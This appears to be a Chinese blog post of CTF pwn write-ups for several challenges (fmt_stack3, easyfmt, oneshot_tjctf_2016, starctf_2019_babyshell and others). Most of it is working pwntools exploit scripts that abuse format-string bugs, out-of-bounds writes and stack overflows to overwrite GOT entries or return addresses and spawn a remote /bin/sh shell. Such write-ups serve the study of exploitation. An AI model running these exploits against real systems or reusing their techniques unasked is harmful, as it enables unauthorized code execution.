libc_base=int16(r(14))-libc.sym['read']-18
i=stack-0x4
ret_addr=stack+0x118
system, binsh = get_sb()
rdi=libc_base+0x2a3e5
ret=libc_base+0x29cd6

sa(b'>>\n', b'%255c%10$hhn'.ljust(0x10, b'\x00') + p64(i + 3))

for i in range(6):
	payload = b'%' + str((ret>> 8*i) & 0xff).encode() + b'c%10$hhn'
	payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + i)
	sa(b'>>\n', payload)

for i in range(6):
	payload = b'%' + str((rdi>> 8*i) & 0xff).encode() + b'c%10$hhn'
	payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + 8 + i)
	sa(b'>>\n', payload)

for i in range(6):
	payload = b'%' + str((binsh >> 8*i) & 0xff).encode() + b'c%10$hhn'
	payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + 0x10 + i)
	sa(b'>>\n', payload)

for i in range(6):
	payload = b'%' + str((system >> 8*i) & 0xff).encode() + b'c%10$hhn'
	payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + 0x18 + i)
	sa(b'>>\n', payload)

sa(b'>>\n',b'%10$hhn'.ljust(0x10 b'\x00')+p64(stack-4+3))
	
inter()

fmt_stack3

e2fda166fdb444e88f39a29733b8ef70.png

由于只有一次修改的机会，将fini_array函数改为vuln让程序再执行一次。

然后就会执行已经被改为system的printf函数。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt_stack3')
elf = ELF('./fmt_stack3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

fini_array = 0x403178

payload = fmtstr_payload(6, {fini_array:elf.sym['vuln'], elf.got['printf']:elf.sym['system']})
sa(b'name?\n', payload)

sa(b'name?\n', b'/bin/sh\x00')
inter()

fmt

很遗憾，在比赛的时候没完全学会使用patchelf的使用，被这道题弄得晕头转向。

4e4d67b211634a4090730a2d18807f59.png

存在格式化字符串漏洞先泄露pie和libcbase，由于使用fmtstr_payload的payload过长，所以我们手写payload。

from pwn import *
#io=process('./pwn')
io=remote('124.71.99.248',20776)
elf=ELF('./pwn')
context(os='linux',arch = 'amd64')
libc=ELF('libc-2.27.so')
 
#gdb.attach(io)
 
 
payload=b'%23$p%35$p'
io.recv()
io.send(payload)
pie=int(io.recv(14),16)-elf.sym['vuln1']-33
print(hex(pie))
base=int(io.recv(14),16)-libc.sym['__libc_start_main']-231
print(hex(base))
sys=base+libc.sym['system']
print(hex(sys))
printf_got=pie+elf.got['printf']
a=int((hex(sys)[-4:]),16)
b=int((hex(sys)[-6:-4]),16)
print(hex(a))
print(hex(b))
payload1=(b'%'+str(b).encode()+b'c%12$hhn'+b'%'+str(a-b).encode()+b'c%13$hn').ljust(0x20,b'\x00')
print(hex(len(payload1)))
payload1+=p64(printf_got+2)+p64(printf_got)
#pause()
 
io.send(payload1)
 
io.send(b'/bin/sh\x00')
io.recv()
io.interactive()

 HELLO WORLD

比赛的时候根本没看这题（哭死

一道很有意思的brop，是ret2text，在交互过程中刷好感度，获得后门函数地址，最后利用gets函数输入，溢出长度为0x4+0x8

exp

from pwn import *
 
 
io=remote('124.71.99.248',20854)
 
 
io.recv()
io.sendline()
sleep(1)
io.sendline(str(2))
sleep(1)
io.sendline(str(4))
sleep(1)
io.sendline(str(6))
sleep(1)
io.sendline(str(2))
 
io.recvuntil(b'key:')
key=int(io.recv(14),16)
print(hex(key))
io.sendline(str(7))
sleep(0.5)
payload=b'a'*(0x4+0x8)+p64(key)
io.recvuntil(b'get:\n')
io.sendline(payload)
io.interactive()

easyfmt

一道非栈上格式化自字符串，复现的过程中让我学到了很多。

b0692f482b944ee597a4dfe3442113c1.png

因为开启了full relro,所以不能直接修改got表。非栈上格式化字符串需要利用像rbp所指向的栈链为跳板，来完成对main函数的返回地址及其指向的内容的修改。

先修改格式化字符串漏洞的执行次数，再一点点地修改libc_start_main以及onegadget

最后再将函数执行次数改为零

exp

from pwn import *
libc=ELF("./libc-2.27.so")
#io=process('pwn')
io=remote("124.71.99.248",20871)
 
io.sendafter("stdin>>\n",b'%21$p.%8$p.')
libcbase=int(io.recvuntil(b'.')[-13:-1],16)-libc.sym['__libc_start_main']-231
stack=int(io.recvuntil(b'.')[-13:-1],16)-0x20
 
one_gadget =libcbase+0x4f2a5
io.sendafter("stdin>>\n",b'%'+str((stack-0x10)&0xff).encode()+b'c%12$hhn')
io.sendafter("stdin>>\n",b'%66c%16$hhn')
for  i in range(6):
    io.sendafter("stdin>>\n",b'%'+str((stack+8+i)&0xff).encode()+b'c%12$hhn')
    io.sendafter("stdin>>\n",b'%'+str((one_gadget>>8*i)&0xff).encode()+b'c%16$hhn')
io.sendafter("stdin>>\n",b'%'+str((stack-0x10)&0xff).encode()+b'c%12$hhn')
io.sendafter("stdin>>\n",b'%16$hhn')
io.interactive()

oneshot_tjctf_2016

 8eb839b1a9484ebfa914c89e0bb9bf39.png

给了两次向V4输入数据的机会，第一次会打印v4的内容，可得到libc_base，第二次会执行V4，输入onegadget即可。

exp

from pwn import *
#io=process('./oneshot_tjctf_2016')
context(arch='amd64', os='linux')
io=remote('node5.buuoj.cn',28728)
elf=ELF('./oneshot_tjctf_2016')
libc=ELF('libc-2.23.so')
 
io.recv()
payload=elf.got['puts']
io.sendline(str(payload))
io.recvuntil(b'0x')
base=int(io.recv(16),16)-libc.sym['puts']
onegadget=base+0x45216
io.recv()
io.send(str(onegadget))
io.interactive()

wustctf2020_number_game

1d377a2d832d4af69eb830e4a3774a64.png

32位开启了NX和canary保护。

shell()中直接给出了system('/bin/sh')函数

我们需要让v1满足if中的表达式，在v1=-v1中，会发生补码，

2147483648是32位int最大的数

所以输入-2147483648可绕过补码，获得shell。

starctf_2019_babyshell

a705065a050c4cec92ac6518658f60f9.png

虽然开启了NX保护，但由于mmap函数的存在buf变得可读可写可执行。

b285bc683be448479215b6739a00e5ac.png

但任需要绕过sub_400786里的检查。shellcode需要是unk_400978中的字符，开头为\x00的汇编指令可以绕过检查

exp

from pwn import*
context.arch="amd64"
io=remote('node5.buuoj.cn',27695)
payload=b'\x00\x00'+asm(shellcraft.sh())
io.sendline(payload)
io.interactive()

wustctf2020_name_your_dog

32位开启了NX保护和canary

110e1bd02f7d4727a14cfd75490064c8.png

 

 40a2d394115745868ba52877d7166e86.png

9e0c5e3e57e84258afcde068e66c848b.png

存在后门函数。

该题存在数组越界漏洞，但由于dog在bss段上，我们需要通过将got表改写为后门函数的方式来获得shell。

exp

from pwn import *
 
io=remote('node5.buuoj.cn',29868)
#io=process("./wustctf2020_name_your_dog")
 
shell=0x080485CB
io.sendlineafter(">",b'-7')
io.sendlineafter("Give your name plz: ",p32(shell))
io.interactive()

wdb_2018_3rd_soEasy

32位未开启任何保护，使用shellcode梭哈，还给出了buf的地址，还有栈溢出。

479e3fe37d874ced94801524631dbb01.png

exp

from pwn import *
 
io=remote('node5.buuoj.cn',27686)
#io=process("./wdb_2018_3rd_soEasy")
elf=ELF('./wdb_2018_3rd_soEasy')
 
io.recvuntil(b'gift->')
buf=int(io.recv(10),16)
shellcode=asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80')
print(hex(len(shellcode)))
payload=shellcode.ljust(0x4c,b'\x00')+p32(buf)
io.sendline(payload)
io.interactive()

judgement_mna_2016

32位

7f70ea0da60a49e4b704304d3b78c6ab.png

aca2a0dac5104dd2abe97e825b059530.png

主函数中存在格式化字符串漏洞 

gdb调试可以发现flag就在栈中

exp

from pwn import *
p=remote("node5.buuoj.cn",28829)
p.sendline('%28$s:%32$s')
p.interactive()

 

 

 

 

拓䜣
关注
ChatGPT 辅助生成周报/月报
小Y的博客
08-30 2421
用 ChatGPT 写好一篇工作汇报
计算机科学与技术专业的论文周报,毕业设计(实习)周报
weixin_35064201的博客
06-24 1897
本科毕业设计周报第1 周毕业生周记撰写毕业论文开题报告(初稿)，结合毕业设计所选的题目，查阅大量相关资料，主要针对该设计所涉及的背景，研究目的及意义，以及国内外的相关成熟技术进行筛选，提取部分核心内容，将其引用到毕业论文的开题报告中。同时制定整个毕业实习的工作计划。同时将之前查找的与毕业论文主题相关的外文资料(本次所选取的外文资料为思杰有关虚拟化桌面的官方技术文档)，进行整体的第一遍翻译工作，完成...
Swift 周报 第二十七期
网罗天下方法，方便你我开发！！！
04-19 1万+
再暗的黑夜也会迎来黎明，再长的坎坷也会连接平川。怀抱Swift社区，一颗永不放弃的希望之心，明天将会是温暖的阳光雨露！
项目过程管理（十六）项目周报
hursing的博客
02-28 5520
原则 有事起奏无事退朝 项目经理可在周一上午召开站会收集信息，各职能负责人需积极配合。 周一下午3点前发出邮件 邮件 接着立项邮件全体回复，每周接着上一周发直到结项 收件人：项目组群 标题：【项目周报】xxx（项目）mmdd（日期），例如 支付宝1018 正文示例： Dear All， （1-3句话总结情况。） （当前进度，是否存在风险。有就说明异常情况与原因，提醒注意，请求协助。） 本周项...
测试周报模板
热门推荐
软件猿扫地僧
06-28 1万+
模板下载：http://download.csdn.net/detail/kaka1121/9562176  本周总结（项目负责人必填，成员选填） 此处填写本周总结，包括但不限于以下内容：  本周团队内bug的简要分析总结；除项目工作外，其他事宜的汇报，比如测试环境、新人培养、自动化工作开展等；自己或团队遇到的问题、困惑等；意见和建议；
周报系统的设计与实现
weixin_43257005的博客
10-28 2708
周报系统的设计与实现 1.明确周报系统需要做什么? 2.明确周报系统需要什么样的操作? 3.周报系统中权限及职级划分处理是怎样的？ 在设计之前我先提出以上单个问题，可以先思考一下，思考之后进行相关设计。 周报系统，其名可知是便于周报提交和查看的系统。既然需要查看和提交，自然而然其中牵涉到一些不同的权限问题。 举例说明：A公司需要做一个周报系统，便于公司的业绩及相关绩效考核使用。需求是：&...
青少年编程竞赛交流群周报（第042周）
老马的程序人生
12-20 2027
2021年12月19日（周日）晚20:00我们在青少年编程竞赛交流群开展了第四十二期直播活动。 一、直播内容 我们直播活动的主要内容如下： 讲解了上次测试中小朋友们做错的题目 Scratch青少年编程能力等级测试模拟题（四级）。 参考答案： 判断题：1.√；2.√；3.√；4.√；5.√；6.√；7.√；8.√；9.√；10.√； 选择题：11.D；12.B；13.D；14.C；15.B；16.C；17.A；18.C；19.D；20.D；21.D；22.B；23.B；24.D；25.B； 演示了如何
java开发周报_Java周报
weixin_36184940的博客
02-13 1906
package com.softeem.basic;//包名 单行注释三种注释方式主方法输出语句文档化注释,能够生成API文档public class Demo_01 {//类名多行注释主函数:主方法,是程序的入口,所有程序的开始和方法的调用都必须在主方法里面1、主函数的写法固定2、一个程序中不能没有主函数,但是一个程序中只能写一个主函数java的数据类型:基本数据类型:整型: byte shor...
java开发周报_java第六周周报
weixin_39943678的博客
02-16 1587
前言本周是学习java的第六周，把容器大部分内容学完了。参考教程：本周学习要点：1.Map中的HashMap和TreeMap区别不大，效率上使用HashMap，需要用到排序时使用TreeMap。2.TreeMap是典型的红黑二叉树的实现。3.TreeMap会按照key递增的方式排序，在使用自己定义的类时需要实现comparable接口并重写CompareTo方法。4.HashMap和HashTab...
Swift 周报 第三十四期
网罗天下方法，方便你我开发！！！
08-08 6551
恰似烈日灼身，清风缕缕慰我清静。恰似无边心海，Swift社区渡我心安！
周报复盘
08-25
周报复盘
20210322-申万宏源-建材行业周报：专题复盘“水泥牛”海螺水泥.pdf
06-20
在这份申万宏源的建材行业周报中，分析师们对水泥行业的龙头企业海螺水泥进行了深入的复盘分析，并对行业的未来趋势和投资机会提出了看法。以下是对报告内容的详细解读： 一、海螺水泥的历史和行业地位 海螺水泥是...
建材行业周报：专题复盘“水泥牛”海螺水泥.rar
09-09
本周的建材行业周报聚焦于一个特殊的话题——“水泥牛”，并深度剖析了其中的典型代表，海螺水泥。这篇报告旨在通过复盘海螺水泥的发展历程，揭示其在建材行业中扮演的重要角色，以及它如何成为行业内的领头羊。 ...
校园周报管理一体化系统
06-10
周报规则如下：周报由系统定时生成，默认数据为未交周报，学生不写（修改周报内容）周报则默认0分且老师不可以批分，老师已经打分的周报不可以被修改，不是本周的周报不可以修改。另外周报是自动根据时间去检索学生...
自助餐剩余食品识别图像分割系统：教学内容全覆盖
sgcsdn99的博客
11-04 1097
数据集信息展示在本研究中，我们使用的数据集名为“9_5_Merged”，该数据集专门用于训练改进YOLOv8-seg的自助餐剩余食品识别图像分割系统。该数据集包含71个类别，涵盖了丰富多样的食品种类，旨在提高模型对不同类型剩余食品的识别和分割能力。通过对这些类别的细致划分，我们希望能够实现更高精度的图像分割，进而优化自助餐剩余食品的管理和利用。
【anaconda】使用记录
最新发布
zhuyan108的博客
11-05 236
window11 下安装anaconda。
智能化运维的未来：AI和机器学习在运维中的应用
Echo_Wish的博客
11-05 231
AI和机器学习在运维中的应用，不仅提高了运维效率和质量，还为企业的数字化转型提供了强有力的技术支持。通过预测性维护、自动化运维、异常检测和智能告警等应用，企业可以更好地管理和优化其IT基础设施，确保系统的高效、稳定运行。希望本文能为读者提供有价值的参考，帮助你在运维实践中更好地应用AI和机器学习技术。如果有任何问题或需要进一步讨论，欢迎交流探讨。让我们共同推动智能运维的发展，实现更高效、更智能的运维管理。
探索 Python 的新天地：Helium 库揭秘
AIGC搞起
11-04 644
在自动化测试和网页交互的领域，Selenium 是一个强大的工具，但它的复杂性和陡峭的学习曲线让许多开发者望而却步。Helium库的出现，以其简洁的 API 和易用性，为 Python 开发者提供了一个新的选择。它不仅简化了 Selenium 的使用，还自带 WebDriver，减少了配置的复杂性。Helium 以其简洁的 API 和易用性，为 Python 开发者提供了一个强大的 Selenium 替代方案。它不仅减少了代码量，还简化了 WebDriver 的管理，使得自动化测试和网页交互变得更加容易。
01_IAR新建CC2530工程
nanxl1的博客
11-02 1006
由于很多Zigbee商家提供的教程未有从零建立CC2530工程的讲解，可能会导致后面的开发中出现一些琐碎的问题。本文将以**LED流水灯**为例，从0到1用**IAR**建立CC2530工程。
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值